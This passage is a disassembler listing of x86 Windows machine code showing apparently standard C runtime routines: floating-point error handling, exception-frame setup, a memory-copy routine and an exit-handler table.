[ebp+arg_0] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6E2: ; CODE XREF: sub_41C679+3Aj ; sub_41C679+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41C73C ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C679+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C722 loc_41C714: ; CODE XREF: sub_41C679+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C722: ; CODE XREF: sub_41C679+99j test bl, 20h jnz short loc_41C714 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41C73C: ; CODE XREF: sub_41C679+84j call sub_421014 add esp, 1Ch loc_41C744: ; CODE XREF: sub_41C679+59j ; sub_41C679+67j ... pop esi pop ebx leave retn sub_41C679 endp ; =============== S U B R O U T I N E ======================================= sub_41C748 proc near ; CODE XREF: ___:0041B78Dp ; sub_4218B2+21p ; DATA XREF: ... call sub_41C760 call sub_4218B2 mov dword_4DB2CC, eax call sub_421862 fnclex retn sub_41C748 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C760 proc near ; CODE XREF: sub_41C748p mov eax, offset sub_421CA0 mov off_43C8A4, offset sub_421935 mov off_43C8A0, eax mov off_43C8A8, offset sub_42199B mov off_43C8AC, offset sub_4218DB mov off_43C8B0, offset sub_421983 mov off_43C8B4, eax retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp ; sub_40D030+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41C798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C7BF(double) sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p ; ___:0040DD3Cp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A2A8 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C845 call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C828 cmp eax, 2 jle short loc_41C81A cmp eax, 3 jnz short loc_41C828 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420FC1 add esp, 10h jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C828: ; CODE XREF: sub_41C7BF+3Aj ; sub_41C7BF+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41C882 ; --------------------------------------------------------------------------- loc_41C845: ; CODE XREF: sub_41C7BF+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C868 loc_41C85A: ; CODE XREF: sub_41C7BF+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C868: ; CODE XREF: sub_41C7BF+99j test bl, 20h jnz short loc_41C85A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41C882: ; CODE XREF: sub_41C7BF+84j call sub_421014 add esp, 1Ch loc_41C88A: ; CODE XREF: sub_41C7BF+59j ; sub_41C7BF+67j ... pop esi pop ebx leave retn sub_41C7BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C88E proc near ; CODE XREF: ___:00422182p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41C88E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p ; sub_422486+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp ; sub_422111:loc_422142p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41C8F8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42675C sub_41C8D0 endp ; --------------------------------------------------------------------------- loc_41C8F8: ; DATA XREF: sub_41C8D0+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41C91F: ; CODE XREF: ___:00426DFCj ; ___:00426E19j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421D16 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C955 proc near ; CODE XREF: sub_42218C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41C9A9 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422510 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41C955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h pop ebp retn sub_41C9A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9CE proc near ; CODE XREF: sub_421F58+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41CA82 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41CA54 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DB324 pop ecx pop ecx and [ebp+var_34], 0 loc_41CA54: ; DATA XREF: sub_41C9CE+3Co cmp [ebp+var_4], 0 jz short loc_41CA71 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41C9CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41CAA5 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41CAF2 ; --------------------------------------------------------------------------- loc_41CAA5: ; CODE XREF: sub_41CA82+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41CAE3 push [ebp+arg_0] push [ebp+arg_4] call sub_41C8D0 ; --------------------------------------------------------------------------- loc_41CAE3: ; CODE XREF: sub_41CA82+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41CAF2: ; CODE XREF: sub_41CA82+21j pop edi pop esi pop ebx pop ebp retn sub_41CA82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p ; sub_421F58+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41CB4E loc_41CB15: ; CODE XREF: sub_41CAF7+52j cmp esi, 0FFFFFFFFh jnz short loc_41CB1F call sub_4225B2 loc_41CB1F: ; CODE XREF: sub_41CAF7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41CB34 cmp ecx, [eax+8] jle short loc_41CB39 loc_41CB34: ; CODE XREF: sub_41CAF7+36j cmp esi, 0FFFFFFFFh jnz short loc_41CB45 loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41CB45: ; CODE XREF: sub_41CAF7+40j cmp [ebp+arg_4], 0 jge short loc_41CB15 mov eax, [ebp+var_4] loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41CB62 cmp esi, eax jbe short loc_41CB67 loc_41CB62: ; CODE XREF: sub_41CAF7+65j call sub_4225B2 loc_41CB67: ; CODE XREF: sub_41CAF7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41CAF7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41CB8C push [ebp+arg_0] call sub_42675C sub_41CB74 endp ; =============== S U B R O U T I N E ======================================= sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CB8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao ; sub_41CC1E+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41CBB5 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41CBB5: ; CODE XREF: sub_41CB94+10j retn sub_41CB94 endp ; =============== S U B R O U T I N E ======================================= sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp ; sub_4234B8+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41CB94 push large dword ptr fs:0 mov large fs:0, esp loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41CC10 cmp esi, [esp+1Ch+arg_4] jz short loc_41CC10 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41CC0E push 101h mov eax, [ebx+esi*4+8] call sub_41CC4A call dword ptr [ebx+esi*4+8] loc_41CC0E: ; CODE XREF: sub_41CBB6+44j jmp short loc_41CBD3 ; --------------------------------------------------------------------------- loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj ; sub_41CBB6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41CBB6 endp ; =============== S U B R O U T I N E ======================================= sub_41CC1E proc near ; CODE XREF: sub_422252+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41CB94 jnz short locret_41CC40 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41CC40 mov eax, 1 locret_41CC40: ; CODE XREF: sub_41CC1E+10j ; sub_41CC1E+1Bj retn sub_41CC1E endp ; =============== S U B R O U T I N E ======================================= sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep ; sub_422510+40p push ebx push ecx mov ebx, offset dword_43A2AC jmp short loc_41CC54 sub_41CC41 endp ; =============== S U B R O U T I N E ======================================= sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp ; sub_4234B8+78p push ebx push ecx mov ebx, offset dword_43A2AC mov ecx, [ebp+8] loc_41CC54: ; CODE XREF: sub_41CC41+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41CC4A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p ; sub_40D21E+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41CC64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p ; ___:004264F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0B1 pop ecx retn sub_41CC83 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap ; sub_41DEA2+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CCB0 cmp edi, eax jb loc_41CE28 loc_41CCB0: ; CODE XREF: sub_41CC90+16j test edi, 3 jnz short loc_41CCCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- loc_41CCCC: ; CODE XREF: sub_41CC90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CCE4 and eax, 3 add ecx, eax jmp dword ptr loc_41CCEC+4[eax*4] ; --------------------------------------------------------------------------- loc_41CCE4: ; CODE XREF: sub_41CC90+46j jmp dword ptr loc_41CDE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCEC: ; CODE XREF: sub_41CC90+31j ; sub_41CC90+8Ej ... jmp off_41CD6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_41CD00 dd offset loc_41CD2C dd offset loc_41CD50 ; --------------------------------------------------------------------------- loc_41CD00: ; DATA XREF: sub_41CC90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD2C: ; DATA XREF: sub_41CC90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CD50: ; DATA XREF: sub_41CC90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr dd offset loc_41CDBC dd offset loc_41CDB4 dd offset loc_41CDAC dd offset loc_41CDA4 dd offset loc_41CD9C dd offset loc_41CD94 dd offset loc_41CD8C ; --------------------------------------------------------------------------- loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90:off_41CD6Co jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r ; sub_41CC90+92r ... dd offset loc_41CDF0 dd offset loc_41CDFC dd offset loc_41CE10 ; --------------------------------------------------------------------------- loc_41CDE8: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CDF0: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDFC: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE10: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE28: ; CODE XREF: sub_41CC90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CE5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CE50: ; CODE XREF: sub_41CC90+1B1j ; sub_41CC90+208j ... neg ecx jmp off_41CF20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CE74 and eax, 3 sub ecx, eax jmp dword ptr loc_41CE74+4[eax*4] ; --------------------------------------------------------------------------- loc_41CE74: ; CODE XREF: sub_41CC90+1D6j ; DATA XREF: sub_41CC90+1DDr jmp off_41CF70[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CE87+1 dd offset loc_41CEA8 ; --------------------------------------------------------------------------- ror dh, 1 inc ecx loc_41CE87: ; DATA XREF: sub_41CC90+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF24 dd offset loc_41CF2C dd offset loc_41CF34 dd offset loc_41CF3C dd offset loc_41CF44 dd offset loc_41CF4C dd offset loc_41CF54 off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r ; --------------------------------------------------------------------------- loc_41CF24: ; DATA XREF: sub_41CC90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CF2C: ; DATA XREF: sub_41CC90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CF34: ; DATA XREF: sub_41CC90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CF3C: ; DATA XREF: sub_41CC90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CF44: ; DATA XREF: sub_41CC90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CF4C: ; DATA XREF: sub_41CC90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CF54: ; DATA XREF: sub_41CC90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CF67: ; CODE XREF: sub_41CC90+1C2j ; DATA XREF: sub_41CC90:off_41CF20o jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r ; sub_41CC90:loc_41CE74r ... dd offset loc_41CF88 dd offset loc_41CF98 dd offset loc_41CFAC ; --------------------------------------------------------------------------- loc_41CF80: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF88: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF98: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CC90 endp ; =============== S U B R O U T I N E ======================================= sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p ; sub_40D78B+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41CFC5 endp ; =============== S U B R O U T I N E ======================================= sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p arg_0 = dword ptr 4 push esi push dword_4DC91C call sub_422608 mov edx, dword_4DC91C pop ecx mov ecx, dword_4DC918 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D032 push edx call sub_422608 add eax, 10h push eax push dword_4DC91C call sub_41B202 add esp, 0Ch test eax, eax jnz short loc_41D015 retn ; --------------------------------------------------------------------------- loc_41D015: ; CODE XREF: sub_41CFD3+3Fj mov ecx, dword_4DC918 sub ecx, dword_4DC91C mov dword_4DC91C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DC918, ecx loc_41D032: ; CODE XREF: sub_41CFD3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DC918, 4 retn sub_41CFD3 endp ; =============== S U B R O U T I N E ======================================= sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41CFD3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D040 endp ; =============== S U B R O U T I N E ======================================= sub_41D052 proc near ; DATA XREF: ___:0042901Co push 80h call sub_41B4D5 test eax, eax pop ecx mov dword_4DC91C, eax jnz short loc_41D073 push 18h call sub_41DA29 mov eax, dword_4DC91C pop ecx loc_41D073: ; CODE XREF: sub_41D052+12j and dword ptr [eax], 0 mov eax, dword_4DC91C mov dword_4DC918, eax retn sub_41D052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D081 proc near ; CODE XREF: ___:0040DB4Bp var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr 